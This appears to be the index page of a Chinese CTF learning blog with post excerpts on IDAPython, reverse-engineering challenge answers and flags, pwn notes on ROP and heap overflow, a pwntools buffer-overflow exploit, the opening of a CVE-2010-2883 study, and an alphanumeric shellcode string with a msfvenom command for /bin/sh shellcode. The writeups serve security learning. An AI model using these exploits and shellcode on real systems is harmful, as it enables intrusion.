0%

idapython 学习

第一个idapython脚本取数据

代码备注
idc.NextHead获得下一条指令首地址
idc.PreHead获得上一条指令首地址
GetOpnd获得mov esi,1 mov后面的
GetMnem获得mov esi,1 mov
1
2
3
4
5
6
7
8
9
10
11
def getList(start,end):
List = []
while start <= end:
next = idc.NextHead(start) #取下一条指令
result = int(GetOpnd(start,1)[:-1],16) # 取mov esi,1的1
# GetMnem(0x4007e1) 取mov esi,1 的mov
List.append(result)
start = next
return List

print(getList(0x4007e1, 0x400851))
Read more »

re题目新手区练习

re1

od打开字符串搜一下。
DUTCTF{We1c0met0DUTCTF}

re2

随便乱输一下
zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}

emm,实质就是比较灯。这里没有算法,直接全nop就行了

re3

将输入的转为16进制与已知16进制串对比

Read more »

three

这道题我开始用了jmp ecx。。可能基础没打好吧,让我真正理解nx保护的就是这道了,为什么rop能绕过nx保护,因为rop利用的是ret一个地址,然后这个地址是本身存在代码的,而我那样是直接执行代码,错误的方式

漏洞点

3字节的任意代码执行,我想到了栈迁移,可是用的是jmp ecx,太菜了,技术不娴熟
这题有个小技巧,没开pie并且是写入bss段,所以/bin/sh可以自己写入后确认位置,所以直接execve(“/bin/sh”, NULL, NULL),基础rop的题目。。。

Read more »

某比赛wp.md

re

Od调试下断后看到,将已知字符串异或后跟输入的比较,截取部分,在写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# coding=utf-8

String = "NbWG9;2"
String2 = "JPFjXj"[::-1]
print(String2)

flag= ""
for i in range(len(String)):
temp = chr(ord(String[i])^0x7)
flag += temp

for i in range(len(String2)):
temp = chr(ord(String2[i])^0x33)
flag += temp
print flag

#flag:{NSCTF_md50b7dfc60761e798328a0d9793f96d4f7}
Read more »

3ctf pwn writeup

唯一一道pwn题

漏洞点

emm,打比赛的时候没看出,整数溢出,然后这里就可以堆溢出了

漏洞利用

buf是一开头就申请的,0x200字节大小,所以read(0, buf, size)的时候size整数溢出的话就可以无限溢出。溢出覆盖好多个chunk,这里攻击第一个fastbin就可以了,改他的结构体指针,然后改atoi就行了

Read more »

whoami

老题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# coding=utf-8
from pwn import *
r = process("./whoami")
#r = remote("101.71.29.5",10013)
print r.recv()
r.sendline("1")
print r.recv()
shell_addr = 0x400896
payload = "a"*56+p64(shell_addr)
r.sendline(payload)
r.interactive()

# flag{927d379f30f26948d94a2285cd2d7bd7}
Read more »

此文章已被加密,需要输入密码访问。
Read more »

漏洞分析学习之cve-2010-2883

前言

打ctf打久了,也该学学漏洞分析了,不可能以后的工作就是打ctf吧,照着漏洞战争这本书开始学习吧

环境配置

adobe_reader_9.0_download

win_xp_sp3

vmware 自己下吧

工具:

  • 吾爱破解od
  • 010editor
  • PdfStreamDumper
Read more »

纯字母数字shellcode存放

x64 shellcode

1
shellcode = 'PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA'

文章地址

x86 shellcode

msf生成命令

1
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax
Read more »

有趣的栈题目

题目1

main函数

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
sub_80486EC();
sub_80485E7();
return 0;
}

子函数

1
2
3
4
5
6
7
8
9
10
int sub_80486EC()
{
char v1; // [esp+1Fh] [ebp-9h]

puts("Enter your name ");
fflush(stdout);
__isoc99_scanf("%9s", &v1);
printf("Welcome %s to participate the 429 ctf!\n", &v1);
return fflush(stdout);
}
Read more »